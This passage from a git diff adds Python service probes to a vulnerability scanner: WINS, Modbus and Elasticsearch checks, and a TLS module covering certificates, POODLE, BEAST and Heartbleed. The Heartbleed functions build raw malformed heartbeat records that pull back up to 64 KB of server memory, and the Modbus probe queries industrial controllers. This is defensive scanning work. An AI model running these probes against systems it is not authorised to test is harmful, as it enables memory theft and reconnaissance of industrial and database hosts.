resp_minor = struct.unpack('>H', data[22:24])[0] if len(data) >= 24 else None + if resp_major is not None: + version_info = f" (NBNS version {resp_major}.{resp_minor})" + raw["nbns_version"] = {"major": resp_major, "minor": resp_minor} + raw["banner"] = f"WINS replication service{version_info}" + findings.append(Finding( + severity=Severity.MEDIUM, + title="WINS replication service exposed", + description=( + f"WINS on {target}:{port} responded to a WREPL Association Start Request{version_info}. " + "WINS is a legacy name-resolution service vulnerable to spoofing, enumeration, and " + "multiple remote code execution flaws (CVE-2004-1080, CVE-2009-1923, CVE-2009-1924). " + "It should not be accessible from untrusted networks." + ), + evidence=f"WREPL response ({len(data)} bytes): {data[:24].hex()}", + remediation=( + "Decommission WINS or restrict TCP port 42 to trusted replication partners. " + "If WINS is required, apply all patches (MS04-045, MS09-039) and set the registry key " + "RplOnlyWCnfPnrs=1 to accept replication only from configured partners." + ), + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + elif data: + # Got some data but not enough for a valid WREPL response + raw["wins_responded"] = True + raw["banner"] = f"Port {port} responded ({len(data)} bytes, non-WREPL)" + findings.append(Finding( + severity=Severity.LOW, + title=f"Service on port {port} responded but is not standard WINS", + description=( + f"TCP port {port} on {target} returned data that does not match the " + "WINS replication protocol (MS-WINSRA). Another service may be listening." + ), + evidence=f"Response ({len(data)} bytes): {data[:32].hex()}", + confidence="tentative", + )) + elif recv_timed_out: + # Connection accepted AND held open after our WREPL packet, but no + # reply — consistent with WINS silently dropping a non-partner request + # (RplOnlyWCnfPnrs=1). A non-WINS service would typically RST or FIN. + raw["banner"] = "WINS likely (connection held, no WREPL reply)" + findings.append(Finding( + severity=Severity.MEDIUM, + title="WINS replication port open (non-partner rejected)", + description=( + f"TCP port {port} on {target} accepted a WREPL Association Start Request " + "and held the connection open without responding, consistent with a WINS " + "server configured to reject non-partner replication (RplOnlyWCnfPnrs=1). " + "An exposed WINS port is a legacy attack surface subject to remote code " + "execution flaws (CVE-2004-1080, CVE-2009-1923, CVE-2009-1924)." + ), + evidence="TCP connection accepted and held open; WREPL handshake: no reply after 3 s", + remediation=( + "Block TCP port 42 at the firewall if WINS replication is not needed. " + "If required, restrict to trusted replication partners only." + ), + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="firm", + )) + else: + # recv returned empty — server immediately closed the connection. + # Cannot confirm WINS; don't produce a finding. The port scan + # already reports the open port; a "service unconfirmed" finding + # adds no actionable value to the report. + pass + except Exception as e: + return probe_error(target, port, "WINS/NBNS", e) + + if not findings: + # Could not confirm WINS — downgrade the protocol label so the UI + # does not display an unverified "WINS" tag from WELL_KNOWN_PORTS. + port_protocols = self.state.get("port_protocols") + if port_protocols and port_protocols.get(port) in ("wins", "nbns"): + port_protocols[port] = "unknown" + return None + + return probe_result(raw_data=raw, findings=findings) + + def _service_info_modbus(self, target, port): # default port: 502 + """ + Send Modbus device identification request to detect exposed PLCs. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + request = b'\x00\x01\x00\x00\x00\x06\x01\x2b\x0e\x01\x00' + sock.sendall(request) + data = sock.recv(256) + if data: + readable = ''.join(chr(b) if 32 <= b < 127 else '.' for b in data) + raw["banner"] = readable.strip()[:120] + findings.append(Finding( + severity=Severity.CRITICAL, + title="Modbus device responded to identification request", + description=f"Industrial control system on {target}:{port} is accessible without authentication. " + "Modbus has no built-in security — any network access means full device control.", + evidence=f"Device ID response: {readable.strip()[:80]}", + remediation="Isolate Modbus devices on a dedicated OT network; deploy a Modbus-aware firewall.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + sock.close() + except Exception as e: + return probe_error(target, port, "Modbus", e) + return probe_result(raw_data=raw, findings=findings) + + + def _service_info_elasticsearch(self, target, port): # default port: 9200 + """ + Deep Elasticsearch probe: cluster info, index listing, node IPs, CVE matching. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings, raw = [], {"cluster_name": None, "version": None} + base_url = f"http://{target}" if port == 80 else f"http://{target}:{port}" + + # First check if this is actually Elasticsearch (GET / must return JSON with cluster_name or tagline) + findings += self._es_check_root(base_url, raw) + if not raw["cluster_name"] and not raw.get("tagline"): + # Not Elasticsearch — skip further probing to avoid noise on regular HTTP ports + return None + + findings += self._es_check_indices(base_url, raw) + findings += self._es_check_nodes(base_url, raw) + + if raw["version"]: + findings += check_cves("elasticsearch", raw["version"]) + + if not findings: + findings.append(Finding(Severity.INFO, "Elasticsearch probe clean", "No issues detected.")) + + return probe_result(raw_data=raw, findings=findings) + + def _es_check_root(self, base_url, raw): + """GET / — extract version, cluster name.""" + findings = [] + try: + resp = requests.get(base_url, timeout=3) + if resp.ok: + try: + data = resp.json() + raw["cluster_name"] = data.get("cluster_name") + ver_info = data.get("version", {}) + raw["version"] = ver_info.get("number") if isinstance(ver_info, dict) else None + raw["tagline"] = data.get("tagline") + findings.append(Finding( + severity=Severity.HIGH, + title=f"Elasticsearch cluster metadata exposed", + description=f"Cluster '{raw['cluster_name']}' version {raw['version']} accessible without auth.", + evidence=f"cluster={raw['cluster_name']}, version={raw['version']}", + remediation="Enable X-Pack security or restrict network access.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except Exception: + if 'cluster_name' in resp.text: + findings.append(Finding( + severity=Severity.HIGH, + title="Elasticsearch cluster metadata exposed", + description=f"Cluster metadata accessible at {base_url}.", + evidence=resp.text[:200], + remediation="Enable authentication.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="firm", + )) + except Exception: + pass + return findings + + def _es_check_indices(self, base_url, raw): + """GET /_cat/indices — list accessible indices.""" + findings = [] + try: + resp = requests.get(f"{base_url}/_cat/indices?v", timeout=3) + if resp.ok and resp.text.strip(): + lines = resp.text.strip().split("\n") + index_count = max(0, len(lines) - 1) # subtract header + raw["index_count"] = index_count + if index_count > 0: + findings.append(Finding( + severity=Severity.HIGH, + title=f"Elasticsearch {index_count} indices accessible", + description=f"{index_count} indices listed without authentication.", + evidence="\n".join(lines[:6]), + remediation="Enable authentication and restrict index access.", + owasp_id="A01:2021", + cwe_id="CWE-284", + confidence="certain", + )) + except Exception: + pass + return findings + + def _es_check_nodes(self, base_url, raw): + """GET /_nodes — extract transport/publish addresses, classify IPs, check JVM.""" + findings = [] + try: + resp = requests.get(f"{base_url}/_nodes", timeout=3) + if resp.ok: + data = resp.json() + nodes = data.get("nodes", {}) + ips = set() + for node in nodes.values(): + for key in ("transport_address", "publish_address", "host"): + val = node.get(key) or "" + ip = val.rsplit(":", 1)[0] if ":" in val else val + if ip and ip not in ("127.0.0.1", "localhost", "0.0.0.0"): + ips.add(ip) + settings = node.get("settings", {}) + if isinstance(settings, dict): + net = settings.get("network", {}) + if isinstance(net, dict): + for k in ("host", "publish_host"): + v = net.get(k) + if v and v not in ("127.0.0.1", "localhost", "0.0.0.0"): + ips.add(v) + + if ips: + import ipaddress as _ipaddress + raw["node_ips"] = list(ips) + public_ips, private_ips = [], [] + for ip_str in ips: + try: + is_priv = _ipaddress.ip_address(ip_str).is_private + except (ValueError, TypeError): + is_priv = True # assume private on parse failure + if is_priv: + private_ips.append(ip_str) + else: + public_ips.append(ip_str) + self._emit_metadata("internal_ips", {"ip": ip_str, "source": "es_nodes"}) + + if public_ips: + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"Elasticsearch leaks real public IP: {', '.join(sorted(public_ips)[:3])}", + description="The _nodes endpoint exposes public IP addresses, potentially revealing " + "the real infrastructure behind NAT/VPN/honeypot.", + evidence=f"Public IPs: {', '.join(sorted(public_ips))}", + remediation="Restrict /_nodes endpoint; configure network.publish_host to a safe value.", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + if private_ips: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"Elasticsearch node internal IPs disclosed ({len(private_ips)})", + description=f"Node API exposes internal IPs: {', '.join(sorted(private_ips)[:5])}", + evidence=f"IPs: {', '.join(sorted(private_ips)[:10])}", + remediation="Restrict /_nodes endpoint access.", + owasp_id="A01:2021", + cwe_id="CWE-200", + confidence="certain", + )) + + # --- JVM version extraction --- + for node in nodes.values(): + jvm = node.get("jvm", {}) + if isinstance(jvm, dict): + jvm_version = jvm.get("version") + if jvm_version: + raw["jvm_version"] = jvm_version + try: + if jvm_version.startswith("1."): + # Java 1.x format: 1.7.0_55 → major=7, 1.8.0_345 → major=8 + major = int(jvm_version.split(".")[1]) + else: + # Modern format: 17.0.5 → major=17 + major = int(str(jvm_version).split(".")[0]) + if major <= 8: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"Elasticsearch running on EOL JVM: Java {jvm_version}", + description=f"Java {jvm_version} is end-of-life and no longer receives security patches.", + evidence=f"jvm.version={jvm_version}", + remediation="Upgrade to a supported Java LTS release (17+).", + owasp_id="A06:2021", + cwe_id="CWE-1104", + confidence="certain", + )) + except (ValueError, IndexError): + pass + break # one node is enough + except Exception: + pass + return findings diff --git a/extensions/business/cybersec/red_mesh/worker/service/tls.py b/extensions/business/cybersec/red_mesh/worker/service/tls.py new file mode 100644 index 00000000..02dc2e20 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/service/tls.py @@ -0,0 +1,744 @@ +import random +import re as _re +import socket +import struct +import ssl + +import requests + +from ...findings import Finding, Severity, probe_result, probe_error +from ...cve_db import check_cves +from ._base import _ServiceProbeBase + + +class _ServiceTlsMixin(_ServiceProbeBase): + """TLS inspection and generic service fingerprinting probes.""" + + def _service_info_tls(self, target, port): + """ + Inspect TLS handshake, certificate chain, and cipher strength. + + Uses a two-pass approach: unverified connect (always gets protocol/cipher), + then verified connect (detects self-signed / chain issues). + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings with protocol, cipher, cert details. + """ + from datetime import datetime + + findings = [] + raw = {"protocol": None, "cipher": None, "cert_subject": None, "cert_issuer": None} + + # Pass 1: Unverified — always get protocol/cipher + proto, cipher, cert_der = self._tls_unverified_connect(target, port) + if proto is None: + return probe_error(target, port, "TLS", Exception("unverified connect failed")) + + raw["protocol"], raw["cipher"] = proto, cipher + findings += self._tls_check_protocol(proto, cipher) + + # Pass 1b: SAN parsing and signature check from DER cert + if cert_der: + san_dns, san_ips = self._tls_parse_san_from_der(cert_der) + raw["san_dns"] = san_dns + raw["san_ips"] = san_ips + for ip_str in san_ips: + try: + import ipaddress as _ipaddress + if _ipaddress.ip_address(ip_str).is_private: + self._emit_metadata("internal_ips", {"ip": ip_str, "source": f"tls_san:{port}"}) + except (ValueError, TypeError): + pass + findings += self._tls_check_signature_algorithm(cert_der) + findings += self._tls_check_validity_period(cert_der) + + # Pass 2: Verified — detect self-signed / chain issues + findings += self._tls_check_certificate(target, port, raw) + + # Pass 3: Cert content checks (expiry, default CN) + findings += self._tls_check_expiry(raw) + findings += self._tls_check_default_cn(raw) + + # Pass 4: Heartbleed (CVE-2014-0160) + heartbleed = self._tls_check_heartbleed(target, port) + if heartbleed: + findings.append(heartbleed) + + # Pass 5: Downgrade attacks (POODLE / BEAST) + findings += self._tls_check_downgrade(target, port) + + if not findings: + findings.append(Finding(Severity.INFO, f"TLS {proto} {cipher}", "TLS configuration adequate.")) + + return probe_result(raw_data=raw, findings=findings) + + def _tls_unverified_connect(self, target, port): + """Unverified TLS connect to get protocol, cipher, and DER cert.""" + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + with socket.create_connection((target, port), timeout=3) as sock: + with ctx.wrap_socket(sock, server_hostname=target) as ssock: + proto = ssock.version() + cipher_info = ssock.cipher() + cipher_name = cipher_info[0] if cipher_info else "unknown" + cert_der = ssock.getpeercert(binary_form=True) + return proto, cipher_name, cert_der + except Exception as e: + self.P(f"TLS unverified connect failed on {target}:{port}: {e}", color='y') + return None, None, None + + def _tls_check_protocol(self, proto, cipher): + """Flag obsolete TLS/SSL protocols and weak ciphers.""" + findings = [] + if proto and proto.upper() in ("SSLV2", "SSLV3", "TLSV1", "TLSV1.1"): + findings.append(Finding( + severity=Severity.HIGH, + title=f"Obsolete TLS protocol: {proto}", + description=f"Server negotiated {proto} with cipher {cipher}. " + f"SSLv2/v3 and TLS 1.0/1.1 are deprecated and vulnerable.", + evidence=f"protocol={proto}, cipher={cipher}", + remediation="Disable SSLv2/v3/TLS 1.0/1.1 and require TLS 1.2+.", + owasp_id="A02:2021", + cwe_id="CWE-326", + confidence="certain", + )) + if cipher and any(w in cipher.lower() for w in ("rc4", "des", "null", "export")): + findings.append(Finding( + severity=Severity.HIGH, + title=f"Weak TLS cipher: {cipher}", + description=f"Cipher {cipher} is considered cryptographically weak.", + evidence=f"cipher={cipher}", + remediation="Disable weak ciphers (RC4, DES, NULL, EXPORT).", + owasp_id="A02:2021", + cwe_id="CWE-327", + confidence="certain", + )) + return findings + + def _tls_check_certificate(self, target, port, raw): + """Verified TLS pass — detect self-signed, untrusted issuer, hostname mismatch.""" + from datetime import datetime + + findings = [] + try: + ctx = ssl.create_default_context() + with socket.create_connection((target, port), timeout=3) as sock: + with ctx.wrap_socket(sock, server_hostname=target) as ssock: + cert = ssock.getpeercert() + subj = dict(x[0] for x in cert.get("subject", ())) + issuer = dict(x[0] for x in cert.get("issuer", ())) + raw["cert_subject"] = subj.get("commonName") + raw["cert_issuer"] = issuer.get("organizationName") or issuer.get("commonName") + raw["cert_not_after"] = cert.get("notAfter") + except ssl.SSLCertVerificationError as e: + err_msg = str(e).lower() + if "self-signed" in err_msg or "self signed" in err_msg: + findings.append(Finding( + severity=Severity.MEDIUM, + title="Self-signed TLS certificate", + description="The server presents a self-signed certificate that browsers will reject.", + evidence=str(e), + remediation="Replace with a certificate from a trusted CA.", + owasp_id="A02:2021", + cwe_id="CWE-295", + confidence="certain", + )) + elif "hostname mismatch" in err_msg: + findings.append(Finding( + severity=Severity.MEDIUM, + title="TLS certificate hostname mismatch", + description=f"Certificate CN/SAN does not match {target}.", + evidence=str(e), + remediation="Ensure the certificate covers the served hostname.", + owasp_id="A02:2021", + cwe_id="CWE-295", + confidence="certain", + )) + else: + findings.append(Finding( + severity=Severity.MEDIUM, + title="TLS certificate validation failed", + description="Certificate chain could not be verified.", + evidence=str(e), + remediation="Use a certificate from a trusted CA with a valid chain.", + owasp_id="A02:2021", + cwe_id="CWE-295", + confidence="firm", + )) + except Exception: + pass # Non-cert errors (connection reset, etc.) — skip + return findings + + def _tls_check_expiry(self, raw): + """Check certificate expiry from raw dict.""" + from datetime import datetime + + findings = [] + expires = raw.get("cert_not_after") + if not expires: + return findings + try: + exp = datetime.strptime(expires, "%b %d %H:%M:%S %Y %Z") + days = (exp - datetime.utcnow()).days + raw["cert_days_remaining"] = days + if days < 0: + findings.append(Finding( + severity=Severity.HIGH, + title=f"TLS certificate expired ({-days} days ago)", + description="The certificate has already expired.", + evidence=f"notAfter={expires}", + remediation="Renew the certificate immediately.", + owasp_id="A02:2021", + cwe_id="CWE-298", + confidence="certain", + )) + elif days <= 30: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"TLS certificate expiring soon ({days} days)", + description=f"Certificate expires in {days} days.", + evidence=f"notAfter={expires}", + remediation="Renew the certificate before expiry.", + owasp_id="A02:2021", + cwe_id="CWE-298", + confidence="certain", + )) + except Exception: + pass + return findings + + def _tls_check_default_cn(self, raw): + """Flag placeholder common names.""" + findings = [] + cn = raw.get("cert_subject") + if not cn: + return findings + cn_lower = cn.lower() + placeholders = ("example.com", "localhost", "internet widgits", "test", "changeme", "my company", "acme", "default") + if any(p in cn_lower for p in placeholders) or len(cn.strip()) <= 1: + findings.append(Finding( + severity=Severity.LOW, + title=f"TLS certificate placeholder CN: {cn}", + description="Certificate uses a default/placeholder common name.", + evidence=f"CN={cn}", + remediation="Replace with a certificate bearing the correct hostname.", + owasp_id="A02:2021", + cwe_id="CWE-295", + confidence="firm", + )) + return findings + + def _tls_parse_san_from_der(self, cert_der): + """Parse SAN DNS names and IP addresses from a DER-encoded certificate.""" + dns_names, ip_addresses = [], [] + if not cert_der: + return dns_names, ip_addresses + try: + from cryptography import x509 + cert = x509.load_der_x509_certificate(cert_der) + try: + san_ext = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName) + dns_names = san_ext.value.get_values_for_type(x509.DNSName) + ip_addresses = [str(ip) for ip in san_ext.value.get_values_for_type(x509.IPAddress)] + except x509.ExtensionNotFound: + pass + except Exception: + pass + return dns_names, ip_addresses + + def _tls_check_signature_algorithm(self, cert_der): + """Flag SHA-1 or MD5 signature algorithms.""" + findings = [] + if not cert_der: + return findings + try: + from cryptography import x509 + from cryptography.hazmat.primitives import hashes + cert = x509.load_der_x509_certificate(cert_der) + algo = cert.signature_hash_algorithm + if algo and isinstance(algo, (hashes.SHA1, hashes.MD5)): + algo_name = algo.name.upper() + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"TLS certificate signed with weak algorithm: {algo_name}", + description=f"The certificate uses {algo_name} for its signature, which is cryptographically weak.", + evidence=f"signature_algorithm={algo_name}", + remediation="Replace with a certificate using SHA-256 or stronger.", + owasp_id="A02:2021", + cwe_id="CWE-327", + confidence="certain", + )) + except Exception: + pass + return findings + + def _tls_check_validity_period(self, cert_der): + """Flag certificates with a total validity span >5 years (CA/Browser Forum violation).""" + findings = [] + if not cert_der: + return findings + try: + from cryptography import x509 + cert = x509.load_der_x509_certificate(cert_der) + span = cert.not_valid_after_utc - cert.not_valid_before_utc + if span.days > 5 * 365: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"TLS certificate validity span exceeds 5 years ({span.days} days)", + description="Certificates valid for more than 5 years violate CA/Browser Forum baseline requirements.", + evidence=f"not_before={cert.not_valid_before_utc}, not_after={cert.not_valid_after_utc}, span={span.days}d", + remediation="Reissue with a validity period of 398 days or less.", + owasp_id="A02:2021", + cwe_id="CWE-298", + confidence="certain", + )) + except Exception: + pass + return findings + + + def _tls_check_heartbleed(self, target, port): + """Test for Heartbleed (CVE-2014-0160) by sending a malformed TLS heartbeat. + + Builds a raw TLS connection, completes handshake, then sends a heartbeat + request with payload_length > actual payload. If the server responds with + more data than sent, it is leaking memory. + + Returns + ------- + Finding or None + CRITICAL finding if vulnerable, None otherwise. + """ + try: + # Connect and perform TLS handshake via ssl module + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + # Allow older protocols for compatibility with vulnerable servers + ctx.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED + + raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + raw_sock.settimeout(3) + raw_sock.connect((target, port)) + tls_sock = ctx.wrap_socket(raw_sock, server_hostname=target) + + # Get the negotiated TLS version for the heartbeat record + tls_version = tls_sock.version() + version_map = { + "TLSv1": b"\x03\x01", "TLSv1.1": b"\x03\x02", + "TLSv1.2": b"\x03\x03", "TLSv1.3": b"\x03\x03", + "SSLv3": b"\x03\x00", + } + tls_ver_bytes = version_map.get(tls_version, b"\x03\x01") + + # Build heartbeat request (ContentType=24, HeartbeatMessageType=1=request) + # payload_length is set to 16384 but actual payload is only 1 byte + # This is the essence of the Heartbleed attack: asking for more data than sent + hb_payload = b"\x01" # 1 byte actual payload + hb_msg = ( + b"\x01" # HeartbeatMessageType: request + + b"\x40\x00" # payload_length: 16384 (0x4000) + + hb_payload # actual payload: 1 byte + + b"\x00" * 16 # padding (16 bytes) + ) + + # TLS record: ContentType=24 (Heartbeat), version, length + tls_record = ( + b"\x18" # ContentType: Heartbeat + + tls_ver_bytes # TLS version + + struct.pack(">H", len(hb_msg)) + + hb_msg + ) + + # Send via the underlying raw socket (bypassing ssl module) + # We need to access the raw socket after handshake + # The ssl wrapper doesn't let us send raw records, so use raw_sock. + # After wrap_socket, raw_sock is consumed. Instead, use tls_sock.unwrap() + # to get the raw socket back. + try: + raw_after = tls_sock.unwrap() + raw_after.sendall(tls_record) + raw_after.settimeout(3) + response = raw_after.recv(65536) + raw_after.close() + except (ssl.SSLError, OSError): + # If unwrap fails, try closing and testing with a new raw connection + tls_sock.close() + return self._tls_heartbleed_raw(target, port, tls_ver_bytes) + + if response and len(response) >= 7: + # Check if response is a heartbeat response (ContentType=24) + if response[0] == 24: + resp_len = struct.unpack(">H", response[3:5])[0] + # If server sent back more than we sent (3 bytes of heartbeat msg), + # it leaked memory + if resp_len > len(hb_msg): + return Finding( + severity=Severity.CRITICAL, + title="TLS Heartbleed vulnerability (CVE-2014-0160)", + description=f"Server at {target}:{port} is vulnerable to Heartbleed. " + "An attacker can read up to 64KB of server memory per request, " + "potentially exposing private keys, session tokens, and passwords.", + evidence=f"Heartbeat response size ({resp_len} bytes) > request payload size ({len(hb_msg)} bytes). " + f"Leaked {resp_len - len(hb_msg)} bytes of server memory.", + remediation="Upgrade OpenSSL to 1.0.1g or later and regenerate all private keys and certificates.", + owasp_id="A06:2021", + cwe_id="CWE-126", + confidence="certain", + ) + # TLS Alert (ContentType=21) = not vulnerable (server rejected heartbeat) + elif response[0] == 21: + return None + + except Exception: + pass + return None + + def _tls_heartbleed_raw(self, target, port, tls_ver_bytes): + """Fallback Heartbleed test using a raw TLS ClientHello with heartbeat extension. + + This is needed when ssl.unwrap() fails. We build a minimal TLS 1.0 + ClientHello that advertises the heartbeat extension, complete the handshake, + and then send the malformed heartbeat. + + Returns + ------- + Finding or None + """ + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((target, port)) + + # Minimal TLS 1.0 ClientHello with heartbeat extension + # This is a simplified approach: we use struct to build the exact bytes + hello = bytearray() + # Handshake header: ClientHello (0x01) + # Random: 32 bytes + client_random = random.randbytes(32) + # Session ID: 0 bytes + # Cipher suites: a few common ones + ciphers = ( + b"\x00\x2f" # TLS_RSA_WITH_AES_128_CBC_SHA + b"\x00\x35" # TLS_RSA_WITH_AES_256_CBC_SHA + b"\x00\x0a" # TLS_RSA_WITH_3DES_EDE_CBC_SHA + ) + # Compression: null only + compression = b"\x01\x00" + # Extensions: heartbeat (type 0x000f, length 1, mode=1 peer allowed to send) + heartbeat_ext = struct.pack(">HH", 0x000f, 1) + b"\x01" + extensions = heartbeat_ext + + client_hello_body = ( + b"\x03\x01" # TLS 1.0 + + client_random + + b"\x00" # Session ID length: 0 + + struct.pack(">H", len(ciphers)) + ciphers + + compression + + struct.pack(">H", len(extensions)) + extensions + ) + + # Handshake message: type=1 (ClientHello), length + handshake = b"\x01" + struct.pack(">I", len(client_hello_body))[1:] + client_hello_body + + # TLS record: ContentType=22 (Handshake), version=TLS 1.0 + tls_record = b"\x16\x03\x01" + struct.pack(">H", len(handshake)) + handshake + sock.sendall(tls_record) + + # Read ServerHello + Certificate + ServerHelloDone + # We just need to consume enough to complete the handshake + server_response = b"" + for _ in range(10): + try: + chunk = sock.recv(16384) + if not chunk: + break + server_response += chunk + # Check if we received ServerHelloDone (handshake type 0x0e) + if b"\x0e\x00\x00\x00" in server_response: + break + except (socket.timeout, OSError): + break + + if not server_response: + sock.close() + return None + + # Now send the malformed heartbeat + hb_msg = b"\x01\x40\x00" + b"\x41" + b"\x00" * 16 # type=request, length=16384, 1 byte payload + padding + hb_record = b"\x18\x03\x01" + struct.pack(">H", len(hb_msg)) + hb_msg + sock.sendall(hb_record) + + # Read response + sock.settimeout(3) + try: + response = sock.recv(65536) + except (socket.timeout, OSError): + response = b"" + sock.close() + + if response and len(response) >= 7 and response[0] == 24: + resp_payload_len = struct.unpack(">H", response[3:5])[0] + if resp_payload_len > len(hb_msg): + return Finding( + severity=Severity.CRITICAL, + title="TLS Heartbleed vulnerability (CVE-2014-0160)", + description=f"Server at {target}:{port} is vulnerable to Heartbleed. " + "An attacker can read up to 64KB of server memory per request, " + "potentially exposing private keys, session tokens, and passwords.", + evidence=f"Heartbeat response ({resp_payload_len} bytes) exceeded request size.", + remediation="Upgrade OpenSSL to 1.0.1g or later and regenerate all private keys and certificates.", + owasp_id="A06:2021", + cwe_id="CWE-126", + confidence="certain", + ) + except Exception: + pass + return None + + def _tls_check_downgrade(self, target, port): + """Test for TLS downgrade vulnerabilities (POODLE, BEAST). + + Returns list of findings. + """ + findings = [] + + # --- POODLE: Test SSLv3 acceptance --- + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + ctx.maximum_version = ssl.TLSVersion.SSLv3 + ctx.minimum_version = ssl.TLSVersion.SSLv3 + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + tls_sock = ctx.wrap_socket(sock, server_hostname=target) + negotiated = tls_sock.version() + tls_sock.close() + if negotiated and "SSL" in negotiated: + findings.append(Finding( + severity=Severity.HIGH, + title="Server accepts SSLv3 — vulnerable to POODLE (CVE-2014-3566)", + description=f"TLS on {target}:{port} accepts SSLv3 connections. " + "The POODLE attack allows decrypting SSLv3 traffic using CBC cipher padding oracles.", + evidence=f"Negotiated {negotiated} when SSLv3 was forced.", + remediation="Disable SSLv3 entirely on the server.", + owasp_id="A02:2021", + cwe_id="CWE-757", + confidence="certain", + )) + except (ssl.SSLError, OSError): + pass # SSLv3 rejected or not available in runtime — good + + # --- BEAST: Test TLS 1.0 with CBC cipher --- + try: + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + ctx.maximum_version = ssl.TLSVersion.TLSv1 + ctx.minimum_version = ssl.TLSVersion.TLSv1 + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + tls_sock = ctx.wrap_socket(sock, server_hostname=target) + negotiated = tls_sock.version() + cipher_info = tls_sock.cipher() + tls_sock.close() + if negotiated and cipher_info: + cipher_name = cipher_info[0] if cipher_info else "" + if "CBC" in cipher_name.upper(): + findings.append(Finding( + severity=Severity.MEDIUM, + title="TLS 1.0 with CBC cipher — BEAST risk (CVE-2011-3389)", + description=f"TLS on {target}:{port} accepts TLS 1.0 with CBC-mode cipher '{cipher_name}'. " + "The BEAST attack exploits predictable IVs in TLS 1.0 CBC mode.", + evidence=f"Negotiated {negotiated} with cipher {cipher_name}.", + remediation="Disable TLS 1.0 or ensure only non-CBC ciphers are used with TLS 1.0.", + owasp_id="A02:2021", + cwe_id="CWE-327", + confidence="certain", + )) + except (ssl.SSLError, OSError): + pass # TLS 1.0 rejected — good + + return findings + + # Product patterns for generic banner version extraction. + # Maps regex → CVE DB product name. Each regex must have a named group 'ver'. + _GENERIC_BANNER_PATTERNS = [ + (_re.compile(r'OpenSSH[_\s](?P\d+\.\d+(?:\.\d+)?)', _re.I), "openssh"), + (_re.compile(r'Apache[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "apache"), + (_re.compile(r'nginx[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "nginx"), + (_re.compile(r'Exim\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "exim"), + (_re.compile(r'Postfix[/ ]?(?:.*?smtpd)?\s*(?P\d+\.\d+(?:\.\d+)?)', _re.I), "postfix"), + (_re.compile(r'ProFTPD\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "proftpd"), + (_re.compile(r'vsftpd\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "vsftpd"), + (_re.compile(r'Redis[/ ](?:server\s+)?v?(?P\d+\.\d+(?:\.\d+)?)', _re.I), "redis"), + (_re.compile(r'Samba\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "samba"), + (_re.compile(r'Asterisk\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "asterisk"), + (_re.compile(r'MySQL[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "mysql"), + (_re.compile(r'PostgreSQL\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "postgresql"), + (_re.compile(r'MongoDB\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "mongodb"), + (_re.compile(r'Elasticsearch[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "elasticsearch"), + (_re.compile(r'memcached\s+(?P\d+\.\d+(?:\.\d+)?)', _re.I), "memcached"), + (_re.compile(r'TightVNC[/ ](?P\d+\.\d+(?:\.\d+)?)', _re.I), "tightvnc"), + ] + + def _service_info_generic(self, target, port): + """ + Attempt a generic TCP banner grab for uncovered ports. + + Performs three checks on the banner: + 1. Version disclosure — flags any product/version string as info leak. + 2. CVE matching — runs extracted versions against the CVE database. + 3. Unauthenticated data exposure — flags services that send data + without any client request (potential auth bypass). + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + sock.connect((target, port)) + raw_bytes = sock.recv(512) + sock.close() + if not raw_bytes: + return None + except Exception as e: + return probe_error(target, port, "generic", e) + + # --- Protocol fingerprinting: detect known services on non-standard ports --- + reclassified = self._generic_fingerprint_protocol(raw_bytes, target, port) + if reclassified is not None: + return reclassified + + # --- Standard banner analysis for truly unknown services --- + data = raw_bytes.decode('utf-8', errors='ignore') + banner = ''.join(ch if 32 <= ord(ch) < 127 else '.' for ch in data) + readable = banner.strip().replace('.', '') + if not readable: + return None + raw["banner"] = banner.strip() + banner_text = 